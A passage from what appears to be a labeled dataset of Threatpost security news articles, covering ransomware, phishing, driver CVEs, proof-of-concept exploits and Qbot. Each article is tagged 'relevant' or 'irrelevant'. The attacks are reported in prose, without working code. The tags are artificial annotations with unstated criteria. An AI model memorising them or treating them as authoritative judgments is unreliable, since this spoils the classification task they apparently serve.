from FedEx. “Mobile devices are designed for accessibility, convenience and speed – extra security gets in the way of those benefits,” Colin Bastable, CEO of Lucy Security, told Threatpost. “Facebook’s brand property makes it ideal for exploitation by hackers, and in this case the use of a site designed to emulate the Facebook security team is especially adroit.” Meanwhile, Facebook is in the process of suing the NSO Group over its alleged use of a zero-day exploit for Facebook-owned WhatsApp. In May 2019, a zero-day vulnerability was found in WhatsApp’s messaging platform, exploited by attackers who were able to inject the Pegasus spyware onto victims’ phones in targeted campaigns. The lawsuit alleges that NSO Group used vulnerable WhatsApp servers to send malware to approximately 1,400 mobile devices. CitizenLab, which assisted Facebook’s investigation into the issue, said that it identified over 100 cases of abusive targeting of human-rights defenders and journalists in at least 20 countries across the globe stemming from NSO Group’s spyware. Facebook also claims to have evidence that NSO Group launched some of its WhatsApp hacks last year from cloud infrastructure hosted in the U.S.: Court documents filed by Facebook in April detailing alleged specific U.S. IP addresses used by NSO Group, hosted by California-based QuadraNet as well as Amazon. Facebook also recently filed a lawsuit against related U.S.-based domain registrars Namecheap and Whoisguard, for registering more than 45 domains spoofing Facebook and its services. In a related link to the NSO Group situation, the IP address provided to Motherboard by the NSO Group former employee allegedly resolved to domains registered with Namecheap, including the fake Facebook security portal, Motherboard noted. Lucy Security’s Bastable pointed out that at the heart of this lies what are essentially phishing pages – even though NSO Group’s activity might be nation-state-level in terms of sophistication, the real exploit at work is of people. “CISOs need to stop thinking of mobile devices as end-points: the real end-points are the people holding those devices,” he noted. “All the tech in the world is not going to protect users from determined attackers, but teaching people not to click on potentially dangerous links and to be suspicious of uninvited SMS messages and emails would save many people a lot of grief.” For its part, NSO Group maintains that it is not a highest-bidder black-market exploit broker, that it’s not in the illicit spy business, and that it offers its wares only to legitimate governments for legitimate uses. “Revisiting and recycling the conjecture of NSO’s detractors, such as CitizenLab, doesn’t change the overall truth of our position, which we have stated to the U.S. Federal Court in California,” an NSO spokesperson told Motherboard. “Our factual assertions have been provided as part of the official court record, and we do not have anything else to add at this time.”",irrelevant
"U.S. Nuclear Contractor Hit with Maze Ransomware, Data Leaked Westech International provides maintenance for the Minuteman III nuclear-missile program and runs programs for multiple branches of the military. A U.S. military contractor involved in the maintenance of the country’s Minuteman III nuclear arsenal has been hit by the Maze ransomware, according to reports – with the hackers making off with reams of sensitive information. The company, Westech International, has a range of contracts with the military for everything from ongoing evaluation for the ballistic missile defense system in Colorado, to a role as a sub-contractor for Northrup Grumman. In the latter capacity it provides engineering support, repair and maintenance for ground subsystems components involved in the Minuteman III intercontinental ballistic missile (ICBM) program. The U.S. has about 440 of the ICBMs, which have been around since the 1970s and which are stored in U.S. Air Force facilities in Montana, North Dakota and Wyoming. They make up the country’s long-range land-to-air nuclear stockpile, and each can travel up to 6,000 miles with a payload of several thermonuclear warheads on board, according to the Center for Strategic and International Studies. The cyberattackers first compromised the contractor’s internal network, the company confirmed to Sky News, before encrypting files and exfiltrating data. Maze has a quirk not found in most ransomwares: In addition to encrypting files and offering the decryption key in exchange for a ransom payment, it also automatically copies all affected files to the malicious operators’ servers. The Maze operators thus often carry out “double extortion” attacks, in which they leak information on an underground forum unless victims pay up. In fact, researchers said in April that the Maze gang has created a dedicated web page, which lists the identities of their non-cooperative victims and regularly publishes samples of the stolen data. This so far includes details of dozens of companies, including law firms, medical service providers and insurance companies, that have not given in to their demands. In the case of Westech International, the cybercriminals have begun to leak documents online, which include sensitive employee data such as payroll information and other personal details, along with company emails, which may or may not include classified military information, according to documents reviewed by Sky News. “We recently experienced a ransomware incident, which affected some of our systems and encrypted some of our files,” Westech said in a media statement. “Upon learning of the issue, we immediately commenced an investigation and contained our systems. We have also been working closely with an independent computer forensic firm to analyze our systems for any compromise and to determine if any personal information is at risk.” Threatpost has reached out to the company for further details and comment, including the timeline of the attack, initial attack vector, the remediation process and whether it paid the ransom. “Ransomware attacks are carefully planned and meticulously executed, starting with research to identify target organizations and their employees through Linkedin, Facebook, Twitter and online news searches,” Colin Bastable, CEO of security awareness and training firm, Lucy Security, said via email. “Spoof emails are highly effective under normal circumstances but in these difficult circumstances they are even more dangerous. Ransomware attacks may be launched weeks and months before they are executed, and it is very difficult to ensure that the hackers have been eradicated. Just like the coronavirus, they can lie dormant and re-emerge.” The operators behind the Maze ransomware have been busy of late, usually going after very high-profile fish. In April they hit IT services giant Cognizant, causing service disruptions; Cognizant, a Fortune 500 company, employs close to 300,000 people. The malware was also behind the December cyberattack on the City of Pensacola, Fla., which shut down the city’s computer networks and affected its systems. Other targets have included Allied Systems and Pitney Bowes.",irrelevant
"Nvidia Warns Windows Gamers of Serious Graphics Driver Bugs Several high-severity flaws in Nvidia’s GPU display drivers for Windows users could lead to code-execution, DoS and more. Graphics chipmaker Nvidia has fixed two high-severity flaws in its graphics drivers. Attackers can exploit the vulnerabilities to view sensitive data, gain escalated privileges or launch denial-of-service (DoS) attacks in impacted Windows gaming devices. Nvidia’s graphics driver (also known as the GPU Display Driver) for Windows is used in devices targeted to enthusiast gamers; it’s the software component that enables the device’s operating system and programs to use its high-level, gaming-optimized graphics hardware. One of the vulnerabilities, CVE-2020-5962, exists in the Nvidia Control Panel component, which provides control of the graphics driver settings as well as other utilities installed on the system. The flaw could allow an attacker with local system access to corrupt a system file, which may lead to DoS or escalation of privileges, according to Nvidia’s Wednesday security advisory. Another vulnerability (CVE‑2020‑5963) exists in the CUDA Driver, a computing platform and programming model invented by Nvidia. The issue stems from improper access control in the driver’s Inter Process Communication APIs. It could lead to lead to code execution, DoS or information disclosure. The display driver also contains four medium-severity flaws, existing in the service host component (CVE‑2020‑5964), the DirectX 11 user mode driver (CVE‑2020‑5965), the the kernel mode layer (CVE‑2020‑5966) and the UVM driver (CVE‑2020‑5967). Various drivers are affected for Windows and Linux users, including ones that use Nvidia’s GeForce, Quadro and Tesla software. A full list of affected – and updated – versions are below. Nvidia high severity flaws Windows drivers Nvidia also stomped out four high-severity flaws in its Virtual GPU (vGPU) manager, its tool that enables multiple virtual machines to have simultaneous, direct access to a single physical GPU, while also using Nvidia graphics drivers deployed on non-virtualized operating systems. In this case, the software does not restrict (or incorrectly restricts) operations within the boundaries of a resource that could be accessed by using an index or pointer, such as memory or files. That may lead to code execution, DoS, escalation of privileges or information disclosure (CVE‑2020‑5968), warned Nvidia. Another flaw stems from the vGPU plugin validating shared resources before using them, creating a race condition which may lead to DoS or information disclosure (CVE‑2020‑5969). And in another glitch, input data size is not validated in the vGPU plugin, which may lead to tampering or denial of service (CVE‑2020‑5970). The final vGPU flaw (CVE‑2020‑5971) stems from the software reading from a buffer by using buffer access mechanisms (such as indexes or pointers) that reference memory locations after the targeted buffer. This could lead to code execution, DoS, escalated privileges, or information disclosure. It’s only the latest slew of patches that Nvidia has issued. Earlier in March, the company fixed several high-severity vulnerabilities in its graphics driver, which can be exploited by a local attacker to launch DoS or code-execution attacks. Last year, Nvidia issued fixes for high-severity flaws in two popular gaming products, including its graphics driver for Windows and GeForce Experience. The flaws could be exploited to launch an array of malicious attacks – from DoS to escalation of privileges. Also in 2019, Nvidia patched another high-severity vulnerability in its GeForce Experience software, which could lead to code-execution or DoS of products, if exploited.",relevant
"Official Government COVID-19 Apps Hide a Raft of Threats Android apps launched for citizens in Iran, Colombia and Italy offer cyberattackers new attack vectors. A rash of COVID-19 Android mobile apps have emerged that are aimed at helping citizens in Iran, Italy and Colombia track symptoms and virus infections. However, they’re also putting people’s privacy and the security of their data at risk, researchers have found. Security researchers at the ZeroFOX Alpha Team have uncovered various privacy concerns and security vulnerabilities – including a backdoor in various apps. The apps are either created and endorsed by countries or invented as one-offs by threat actors to take advantage of the current pandemic, according to a blog post published Monday. Researchers analyzed dozens of COVID-19 apps – which continue to emerge with the spread of the coronavirus, paving the way for related security threats across the globe. In the analysis, they highlighted three that pose a particular threat to citizens, citing not only potential cybercriminal activity but also simple mistakes by app developers. In early March in Iran, one of the first places COVID-19 emerged as a serious health threat, the government released an official app, available on an Iranian app store known as CafeBazaar. The app was meant to track citizens, and it sparked privacy concerns because rather than provide vital health information, it appeared to have the sole purpose of harvesting user personal information, researchers wrote. If the app itself wasn’t worrisome enough, threat actors also created a copycat app, dubbed CoronaApp, available online for direct download by Iranian citizens rather than via the Google Play Store, and thus not subject to the normal vetting process that might protect them from nefarious intentions. At the same time, due to sanctions, many citizens in Iran can’t access the official Google Play store, so they are more likely to download unvetted apps, the researchers pointed out. While CoronaApp does not obviously show malicious intent, it does request permission to access a user’s location, camera, internet data and system information, and to write to external storage. This is a “particular collection of permissions [that] demonstrates the likely intent of the developer to access sensitive user information,” researchers wrote. Moreover, app creators claim the app is built with support from the Iranian government, though screenshots of the offering do not support this claim, they added. “Given…its lack of standard transport security, the permissions the app requires versus its description on the splash page and news websites, as well as the functions used in external libraries, Alpha Team assesses with high confidence that this application can be abused in the future,” researchers wrote. Good Intentions Gone Wrong In Colombia – another country that’s imposed citizen restrictions during the pandemic – the government last month released a well-intended mobile app called CoronApp-Colombia on Google Play to help people track potential COVID-19 symptoms. However, the app also included vulnerabilities in how it communicates over HTTP, which affect the privacy of more than 100,000 users, ZeroFOX researchers warned. “The current version, 1.2.9 as of March 25, uses insecure communication with the API server throughout the app workflow,” researchers wrote. Specifically, it uses HTTP instead of the more secure HTTPS or another protocol for API server communications. Since it’s making insecure server calls to relay users’ personal data, CoronApp-Columbia could “put sensitive user health and personal information at risk of being compromised,” researchers explained. “This API_URL is used multiple times throughout the app and makes HTTP requests to the 52.87.234.39 server, located in the U.S., to relay personal health information (PHI) and personally identifiable information (PII),” they noted. “The same URL is also hardcoded into additional API calls, without using the API_URL.” In total, researchers observed 55 HTTP requests that use the URL, and several of these are API payloads that contain PHI and PII, they said. One spot of good news: ZeroFOX Alpha Team submitted the vulnerability, listed on MITRE as CVE-2018-11504, to Colombian CERT on March 26, and the agency fixed the vulnerability three days later, researchers said, showing a “rapid security vulnerability response.” Users should thus update to the latest version. Regional Danger In Italy, one of the places the COVID-19 pandemic has hit the worst, the government has created region-specific apps for tracking coronavirus symptoms, according to Alpha Team. Threat actors are taking advantage of the inconsistency in the apps’ releases and availability to launch malicious copycats that contain backdoors. “A greater number of government-sanctioned applications causes users to be less certain of which COVID-19 mobile apps are legitimate,” according to ZeroFox. “Threat actors have taken advantage of this confusion, and have released malicious applications, like this backdoored app, to prey on users who may mistakenly download the malicious app.” In all, they found 12 Android application packages related to the campaign. All but one of them used various methods of obfuscation, researchers added. They said that the signing certificate of the first malicious app that they found in this group piqued their suspicion. Though the service for Italian citizens, the signer of the app was “Raven” with a location in Baltimore, likely a reference to the Baltimore Ravens NFL team. “Every app analyzed by Alpha Team used these signing certificate and issuer details,” researchers said. The backdoor is activated when the Android app receives a BOOT_COMPLETED intent when the phone boots, or when the app is opened, researchers wrote. Researchers advised governments with COVID-19-related apps or those thinking about releasing new ones to “ensure consistency with where COVID-19 mobile apps are able to be downloaded, and even with their appearance,” to help avoid the spread of malicious doppelgangers. They also recommended due diligence during the development process to secure any government-sponsored mobile apps and avoid putting citizens at further privacy risk. “The coronavirus pandemic demonstrates a new trend in government- and nation-sponsored COVID-19 mobile apps,” researchers wrote in the post. “If this is the new norm, then there is a massive amount of risk that everyday citizens inherit if these applications are not properly vetted and distributed.” ",irrelevant
"Oracle Tackles a Massive 405 Bugs for Its April Quarterly Patch Update Oracle will detail 405 new security vulnerabilities Tuesday, part of its quarterly Critical Patch Update Advisory. Oracle admins are staring down the barrel of a massive quarterly Critical Patch Update that includes 405 patches. Business software giant Oracle Corp. revealed 286 of those vulnerabilities are remotely exploitable across nearly two dozen product lines. Impacted with multiple critical flaws, rated 9.8 CVSS in severity, are 13 key Oracle products including Oracle Financial Services Applications, Oracle MySQL, Oracle Retail Applications and Oracle Support Tools, according to the company’s April Critical Patch Update Pre-Release Announcement, posted Monday. Each of the bugs will be addressed with mitigation advice or patches by Oracle on Tuesday, coinciding with Microsoft’s April’s Patch Tuesday release of fixes. That will keep system and network admins taxed with a flood of critical vulnerabilities to contend with. Oracle’s Fusion Middleware alone is reporting 49 “vulnerabilities [that] may be remotely exploitable without authentication, i.e., may be exploited over a network without requiring user credentials,” according to the bulletin. Oracle said in total, its Fusion Middleware family of software has 56 new security patches affecting nearly 20 related services, including Identity Manager Connector (v. 9.0), Big Data Discovery (v. 1.6) and WebCenter Portal (v. 11.1.1.9.0, 12.2.1.3.0, 12.2.1.4.0). The mammoth update also includes medium-severity flaws for its Java Platform, Standard Edition (Java SE), use for developing and deploying Java applications. Fifteen bugs, with an CVSS rating of 8.5, are remotely exploitable by an unauthenticated attacker over a network – no user credentials required. Details of the Java SE bugs, along with technical insights and mitigation guidance for all 405 flaws, will be available Tuesday. Oracle also patched 34 critical vulnerabilities in the Oracle Financial Services Applications suite, 14 of those being remotely exploitable. Forty-five bugs in Oracle MySQL were identified, nine being remotely exploitable with a CVSS rating of 9.8. Oracle’s popular Database Server line had just nine security bugs, two are remotely exploitable and have a CVSS rating of 8.0. As with many other Oracle products impacted by flaws this quarter, Oracle said none of the Database Server bugs “are applicable to client-only installations, i.e., installations that do not have the Oracle Database Server installed.”",relevant
"Phishing Campaign Targeting Office 365, Exploits Brand Names Attackers use trusted entities to trick victims into giving up their corporate log-in details as well as to bypass security protections. Researchers have discovered a sophisticated new phishing campaign that uses recognized brand names to bypass security filters as well as to trick victims into giving up Microsoft Office 365 credentials to gain access to corporate networks. A new report from Check Point Software first observed the attacks—the majority of which targeted European companies, with others seen in Asia and the Middle East–in April, when they discovered emails sent to victims titled “Office 365 Voice Mail.” The emails tried to lure victims into clicking on a button that would take them to their Office 365 account to retrieve a voice message that was waiting in their voice portal, they said. If victims took the bait, they were redirected to what appeared to be the Office 365 login page but what was actually a phishing page, researchers said. At first the attacks seemed to be “classic Office 365 phishing campaign,” Check Point manager of threat intelligence Lotem Finkelsteen said in the report. However, when researchers peered under the hood, they found more of a “masterpiece strategy” that leverages “well-known and reputable brands to evade security products on the way to the victims,” he said. “Nowadays, this is a top technique to establish a foothold within a corporate network,” Finkelsteen said. “Access to corporate mail can allow hackers unlimited access to a company’s operations, such as transactions, finance reports, sending emails within the company from a reliable source, passwords and even addresses of a company’s cloud assets,” It’s no simple feat to pull this type of attack, however. The level of sophistication required those behind the campaign to gain access to Samsung and University of Oxford servers unnoticed, which in turn requires a deep understanding of how they work, he added. In the campaign, researchers observed hackers using a Samsung domain hosted on an Adobe server that was left unused since 2018’s Cyber Monday event in a technique called “open redirects,” allowing themselves “the façade of a legitimate Samsung domain to successfully trick victims,” researchers said. The method is basically a URL on a web site that can be used by anyone to redirect users to another site, adding legitimacy to URLs used in malicious emails. In this case, the links in the email redirected to the previously used Adobe server, making the link used in the phishing email “part of the trusted Samsung domain stem–one that unknowingly redirects victims to a website hosted by the hackers,” researchers said in the report. “By using the specific Adobe Campaign link format and the legitimate domain, the attackers increased the chances for the email to bypass email security solutions based on reputation, blacklists and URL patterns,” they wrote. Other campaigns observed over the past year also show hackers using Google and Adobe open redirects in phishing campaigns to add legitimacy to the URLs used in the spam emails, they added. The emails themselves also used a recognized brand to bypass security protections; they mainly originated at multiple generated addresses belonging to legitimate subdomains from different departments at the University of Oxford, according to the report. This demonstrates that hackers somehow found a way to abuse one of Oxford’s simple mail transfer protocol (SMTP) servers to pass the reputation check required by security measures for the sender domain, researchers wrote. Check Point said it has informed Oxford University, Adobe and Samsung of its findings so they can take appropriate actions.",relevant
"PoC Exploit Targeting Apache Struts Surfaces on GitHub Researchers have discovered freely available PoC code and exploit that can be used to attack unpatched security holes in Apache Struts 2. Proof-of-concept exploit code surfaced on GitHub on Friday, raising the stakes on two existing Apache Struts 2 bugs that allow for remote code-execution and denial-of-service attacks on vulnerable installations. The Cybersecurity and Infrastructure Security Agency (CISA) issued an alert regarding the two bugs, tracked as CVE-2019-0230 and CVE-2019-0233. Impacted are Apache Struts versions 2.0.0 through 2.5.20. Remediation includes upgrading to Struts 2.5.22, according to the Apache Struts Security Team. Struts 2 is an open-source coding framework and library for enterprise developers popular with developers and companies when creating Java-based applications. Both the exploitable vulnerabilities in question were fixed last November. Researchers have warned of outdated installations of Apache Struts 2 and that if left unpatched they can open the door to more critical holes similar to a bug at the root of the massive Equifax breach, which was also an Apache Struts 2 flaw (CVE-2017-5638). PoC Released to GitHub The proof-of-concept (PoC) released this week raises the greatest concern with CVE-2019-0230, originally rated important when first uncovered by Matthias Kaiser at Apple Information Security. The bug is triggered when a threat actor sends a malicious Object-Graph Navigation Language (OGNL) expressions that can then open the door for a remote code-execution attack, according to the security bulletin. OGNL is a Java language that can let attackers access data objects, and then use them to create and inject server-side code. “Successful exploitation of the most severe of these vulnerabilities (CVE-2019-0230) could allow for remote code-execution in the context of the affected application. Depending on the privileges associated with the application, an attacker could install programs; view, change or delete data; or create new accounts with full user rights,” according to a bulletin issued Friday by the Multi-State Information Sharing & Analysis Center at the Center for Internet Security. While the PoC attack and exploit posted to GitHub targets CVE-2019-0230, the Apache Struts Security Team also urged users to patch for the DoS bug (CVE-2019-0233). The vulnerability affects the write permissions of file directories that could lead to conditions ripe for a DoS attack. According to the Apache Struts 2 Wiki description of the bug, this flaw can be triggered with a file upload to a Strut’s Action that exposes the file. “An attacker may manipulate the request such that the working copy of the uploaded file is set to read-only. As a result, subsequent actions on the file will fail with an error. It might also be possible to set the Servlet container’s temp directory to read only, such that subsequent upload actions will fail,” according the description. The Apache security bulletin recommends upgrading to the most recent version of Apache Struts. It also suggests security teams verify no unauthorized system modifications have occurred on the system before applying the patch, and they run all software as a non-privileged user (one without administrative privileges) to diminish the effects of a successful attack.",relevant
"PoC Exploits Published For Microsoft Crypto Bug Two proof-of-concept exploits were publicly released for the major Microsoft crypto-spoofing vulnerability. Two proof-of-concept (PoC) exploits have been publicly released for the recently-patched crypto-spoofing vulnerability found by the National Security Agency and reported to Microsoft. The vulnerability (CVE-2020-0601) could enable an attacker to spoof a code-signing certificate (necessary for validating executable programs in Windows) in order to make it appear like an application was from a trusted source. The flaw made headlines when it was disclosed earlier this week as part of Microsoft’s January Patch Tuesday security bulletin. It marked the first time the NSA had ever publicly reported a bug to Microsoft. The two PoC exploits were published to GitHub on Thursday. Either could potentially allow an attacker to launch MitM (man-in-the-middle) attacks – allowing an adversary to spoof signatures for files and emails and fake signed-executable code inside programs that are launched inside Windows. One PoC exploit was released by Kudelski Security and the other by a security researcher under the alias “Ollypwn”. [Listen to further analysis of the Microsoft crypto flaw, below, on the Threatpost Podcast] According to Microsoft’s advisory, the spoofing vulnerability exists in the way Windows CryptoAPI (Microsoft’s API that enables developers to secure Windows-based applications using cryptography) validates Elliptic Curve Cryptography (ECC) certificates. Kudelski Security in a blog post said they launched the PoC using a “curve P384” certificate, which uses ECC (specifically, the USERTrust ECC Certificate Authority). Researcher were able to craft a key used to sign the “curve P384” certificate with an arbitrary domain name. This certificate would subsequently be recognized by Windows’ CryptoAPI as trusted. Another similar PoC exploit was publicly released by Denmark-based security expert “Ollypwn.” “When Windows checks whether the certificate is trusted, it’ll see that it has been signed by our spoofed CA,” said “Ollypwn” in a write up of his PoC exploit. “It then looks at the spoofed CA’s public key to check against trusted CA’s. Then it simply verifies the signature of our spoofed CA with the spoofed CA’s generator – this is the issue.” A third PoC exploit was developed by security expert Saleem Rashid; who said on Twitter, Wednesday, that the PoC allowed him to fake TLS certificates and set up sites that look like legitimate ones. However, Rashid did not make his PoC exploit code public. Researchers say that while the recently-released PoC exploits work, they show that the flaw is not easily exploitable for attackers, particularly because victims would also need to first visit a very specific website, making a targeted attack more difficult. “In the end, please keep in mind that such a vulnerability is not at risk of being exploited by script kiddies or ransomware,” Kudelski Security researchers said in their analysis. “While it is still a big problem because it could have allowed a Man-in-the-Middle attack against any website, you would need to face an adversary that owns the network on which you operate, which is possible for nation-state adversaries, but less so for a script kiddie.” Tech support site AskWoody agreed: “There’s no question the code works — but it has a prerequisite. In order to get bitten by the security hole, you have to first visit a specific site. That site will load a security certificate that’s instrumental in making the PoC code work. That severely limits the threat, eh?” Despite the roadblocks to exploitation, security experts say that publicly-released PoC exploits can pave the way for future exploitation of CVE-2020-0601 by adversaries. Researchers urge Microsoft customers to make sure that their systems are up to date. “Assume that this vulnerability has already been weaponized, probably by criminals and certainly by major governments,” Bruce Schneier said in a Wednesday analysis. “Even assume that the NSA is using this vulnerability — why wouldn’t it?”",relevant
"PonyFinal Ransomware Targets Enterprise Servers Then Bides Its Time Microsoft has warned on a new breed of patient ransomware attacks that lurk in networks for weeks before striking. A Java-based ransomware known as PonyFinal has galloped onto the scene, targeting enterprise systems management servers as an initial infection vector. According to a warning on Twitter from Microsoft Security Intelligence on Wednesday, PonyFinal is not an automated threat, but rather has humans pulling the reins. It exfiltrates information about infected environments, spreads laterally and then waits before striking — the operators go on to encrypt files at a later date and time, when the likelihood of the target paying is deemed to be the most likely. Encryption is carried out by appending files with a “.enc” file name extension; the ransom note meanwhile is a simple text file, researchers said. While it’s notable that the threat is Java-based (a rarer breed than most, according to Microsoft), researchers noted that the most interesting thing about the ransomware is how it’s delivered. “PonyFinal attackers have been seen gaining access through brute-force attacks against a target company’s systems management server,” they tweeted. “They deploy a VBScript to run a PowerShell reverse shell to perform data dumps. They also deploy a remote manipulator system to bypass event logging.” The malware requires Java Runtime Environment (JRE) in order to run. So, the attackers either deploy it into environments if needed, or in some cases, it appears that they use the data that the malware initially collects — stolen from the systems management server — to identify and go after endpoints with JRE already installed. As for the infection routine, “The PonyFinal ransomware is delivered through an MSI file that contains two batch files and the ransomware payload,” researchers explained. “UVNC_Install.bat creates a scheduled task named ‘Java Updater’ and calls RunTask.bat, which runs the payload, PonyFinal.JAR.” PonyFinal is part of an ongoing set of ransomware campaigns that tend to stay dormant and wait for the best time to execute for the most financial gain, Microsoft said. Last month, the tech giant warned that it had discovered that multiple ransomware groups had been accumulating network access and maintaining persistence on target networks for several months, biding their time. This was discovered after dozens of deployments suddenly went live all at once in the first two weeks of April. Incident response engagements by Microsoft Detection and Response Team (DART) showed that many of the compromises that enabled these attacks had occurred earlier. “Using an attack pattern typical of human-operated ransomware campaigns, attackers have compromised target networks for several months beginning earlier this year and have been waiting to monetize their attacks,” according to Microsoft. Like PonyFinal and its brute-force attacks on servers, most of the campaigns started by exploiting vulnerable internet-facing network devices or servers. “They all used the same techniques observed in human-operated ransomware campaigns: Credential theft and lateral movement, culminating in the deployment of a ransomware payload of the attacker’s choice.” Thwarting such attacks requires basic security hygiene – avoiding weak passwords on internet-facing assets, for instance – and also, Microsoft suggested looking for signs of advance efforts such as credential theft and lateral movement activities. And as always, maintaining backups in the event of ransomware deploying is a good idea. The phenomenon is ongoing, according to the firm. “So far, the attacks have affected aid organizations, medical billing companies, manufacturing, transport, government institutions and educational software providers, showing that these ransomware groups give little regard to the critical services they impact, global crisis notwithstanding,” researchers said. “These attacks, however, are not limited to critical services, so organizations should be vigilant for signs of compromise.”",relevant
"Popular TP-Link Family of Kasa Security Cams Vulnerable to Attack Researcher warns the highly-rated Kasa family of security cameras have bugs that gives hackers access to private video feeds and settings. A popular consumer-grade security camera made by TP-Link and sold under the Kasa brand has bevy of bugs that open the hardware to remote attacks, such as giving hackers access to private video feeds and the ability to change device settings. The researcher Jason Kent, with Cequence Security, reported the flaws to TP-Link on March 2. On Thursday, the researcher publicly disclosed the bugs and noted that TP-Link has not patched one of the vulnerabilities – an account takeover (ATO) bug that opens the door to credential stuffing attacks. The most troubling bug Kent found was an insecure implementation of an SSL certificate on the Kasa mobile application. That vulnerability left the door open to man-in-the-middle attacks. The flaw was patched on June 11. It’s unclear if the patch was pushed to devices or if consumers will need to download the patch themselves. In a blog post, publicly disclosing the TP-Link Kasa bugs, Kent describes the risks associated with the Kasa security cameras. “I looked at the application request methods and given the potential sensitivity of the data in the system I wanted to ensure the data transfer was encrypted,” Kent wrote in a blog Thursday. He noted that Kasa’s mobile application does use secure sockets layer (SSL) to authenticate, encrypt and decrypt data sent over the internet. However, the researcher noted the SSL certificate used was not pinned. Certificate pinning is a security measure that protects against an SSL certificate impersonation attacks via the use of mis-issued or fraudulent certificates. The flaw, in the case of the Kasa mobile application, left the door open to man-in-the-middle attacks. While this bug was patched, TP-Link told Cequence Security that the second ATO bug will take “quite a bit to fix” and will need to be address at a later date. Regarding the account takeover bug the researcher said: “Of equal concern to me was that the authentication to the web platform, not the direct connection to the camera, was giving very verbose API error messages. Since I used my email address as my username, as most do on this platform, a simple set of requests would allow for enumeration of the user accounts on the platform. As someone who works to battle automated cyber attacks (bots) and keep automated attacks at bay, I know that having verbose API error messages on authentication endpoints leads to Account Take Over (ATO) attacks,” he wrote. He added, these conditions allowed an adversary to launch an attack using usernames (based on email lists) and passwords to eventually crack open an account. That’s because the Kasa camera’s API generated error messages that included “Account not found” and “Password incorrect” versus a more secure alternative such as a password reset mechanism for incorrect password attempts. While the researcher did not single out a specific model impacted by the bug, he did say the model security camera was part of a recent review by the publication Consumer Reports. Recently TP-Link models reviewed by the publication are the Kasa Cam KC120 and KC200, along with the Kasa Smart KC300S2 System. TP-Link did not return a request for comment for this report.",relevant
"Premier League’s Return: A Hat Trick of Cyberthreats? The beautiful game is back on the pitch in the U.K. — and cyberattackers will be looking to take advantage of fans streaming the games. England’s Premier League is returning this week, with millions of soccer fans around the world looking to stream matches using their online video accounts. Unfortunately, the U.K.’s National Cyber Security Centre (NCSC) is warning on phishing, fraud and brute-forcing attempts by attackers looking to break into those accounts. The organization said in a Wednesday announcement that it expects a rash of phishing, scam and account-takeover efforts centered around the return of the country’s most popular sport — a kind of hat trick of attack types. The assessment, it said, is based on precedent: The NCSC has also observed escalating cyberattacks on television streaming subscriptions as more and more people quarantine at home during the COVID-19 pandemic. “As well as illegally watching the game the victim has paid for, the hackers could make unauthorized purchases on the platform or look to find personal information that could be used for further scams – including targeting them with scam emails or phone calls,” the organization warned. The phenomenon is not isolated to the U.K. of course. In the wake of the COVID-19 health crisis, people find themselves working from home and spending more time online, even as bad actors ramp up threat behavior of all stripes to take advantage of people’s new dependence on conducting business and personal activities online. The NCSC has in the past flagged the hazards of scoring a cyber own-goal via poor password hygiene: Using easy-to-guess passwords or reusing passwords across online accounts is a continued issue, it said. In fact, the Center found that as many as 700,000 accounts were compromised by brute force last year, thanks to fans using popular and obvious team names like “Liverpool,” “Chelsea” or “Arsenal” to protect their streaming profiles. Also, in 2019 the NCSC noted that the U.K. alone saw 23.2 million accounts compromised because users chose the password “123456.” “The return of the Premier League is a moment that the nation has been looking forward to, and we want football fans to enjoy it in the safest way possible,” said NCSC CEO Ciaran Martin, in a media release. “Without the option of watching football matches at the pub or in person, it’s fantastic that technology can bridge the gap and allow thousands of fans to watch their team from their own living room.” The NCSC warning comes as a survey last month found that more than half of people haven’t changed their password in the last year – even after they’ve heard about a data breach in the news. Researchers said that password reuse was the biggest security faux pas being committed by respondents. In fact, password reuse has actually gotten worse over the years: When asked how frequently they use the same password or a variation, 66 percent answered “always” or “mostly” – which is up 8 percent from the same survey in 2018. Worse, 91 percent of respondents said they know using the same (or a variation of the same) password is a risk – but they do it regardless. Soccer fans and anyone else are as usual encouraged to choose a unique, strong password, make sure their apps are updated and patched, back up their data, use two-factor authentication and to use common sense when it comes to unsolicited emails and messages asking for their credentials.",irrelevant
"Qbot Trojan Reappears to Go After U.S. Banking Customers The 12-year-old malware is still dangerous, sporting advanced evasion techniques. Qbot, an ever-evolving information-stealing trojan that’s been around since 2008, has reappeared after a hiatus to target customers of U.S. financial institutions. Its latest variant features fresh capabilities to help it remain undetected. Qbot (a.k.a. Qakbot or Pinkslipbot) harvests browsing data and financial info, including online banking details. Some of its tricks include keylogging, credential theft, cookie exfiltration and process hooking. Qbot has previously evolved to add a “context-aware” delivery technique; and in another case added a six-hour evolution cycle to evade detection. Researchers at F5 have uncovered recent activity using a new variant that also strives hard to avoid analysis. The first samples of the new strain first emerged in January in Virus Total, they told Threatpost. “Qbot is still Windows-based, but this latest version adds both detection- and research-evasion techniques,” according to the latest F5 analysis. “It has a new packing layer that scrambles and hides the code from scanners and signature-based tools. It also includes anti-virtual machine techniques, which helps it resist forensic examination.” In the latest campaign, attackers are infecting computers via phishing, web exploits that inject Qbot via a dropper, or via malicious file shares. According to F5, once the victim is compromised, Qbot bides its time until a victim opens a web page that it’s interested in – specifically, online banking portals for Bank of America, Capital One, Citibank, Citizen’s Bank, J.P. Morgan, Sun Bank, TD Bank, Wells Fargo and others. “This appears to be a dedicated campaign with a browser hijack, or redirection, as the main attack method when the machine is infected,” researchers explained. “As Qbot watches a victim’s web traffic, it looks for specific financial services from which to harvest credentials.” In all, this wave of infections is specifically targeting 36 U.S. financial institutions and two banks in Canada and the Netherlands, according to the firm. The researchers told Threatpost that the scope of the activity in terms of numbers of victims is not known. Interestingly, Qbot targets pages with regular-expression search strings that query “logout/exit/quit” requests, F5 researchers told Threatpost: “This is unique, and allows an attacker to trigger the attack after the user requested to log out of the legitimate activity.” Qbot’s target list also includes generic URLs that might be used in a second stage in an attack – say, for surfacing a message to victims in order to redirect them elsewhere once the banking activity is concluded. “Since the generic URL’s are regular expression they can be used in different ways, for example https://*/cmserver/logout.cfm* ,” researchers told Threatpost. “It will not limit the attack but would rather extend that to any site requesting it, since it is a ‘logout.’ It could be in second stage of the attack when the user wants to log out and suddenly an additional message appears.” Unpacking Routine Once a victim has been initially compromised, the Qbot executable loads itself into the running explorer.exe memory. It then copies itself into the application folder’s default location, as defined in the %APPDATA% registry key, and creates a copy of itself in the specific registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run to run when the system reboots in order to achieve persistence. In the next step, according to the F5 analysis, Qbot drops a .dat file with a log of the system information and the botnet name, then executes its copy from the %APPDATA% folder. After that, to cover its tracks, it replaces the originally infected file with a legitimate one. “Lastly, Qbot creates an instance of explorer.exe and injects itself into 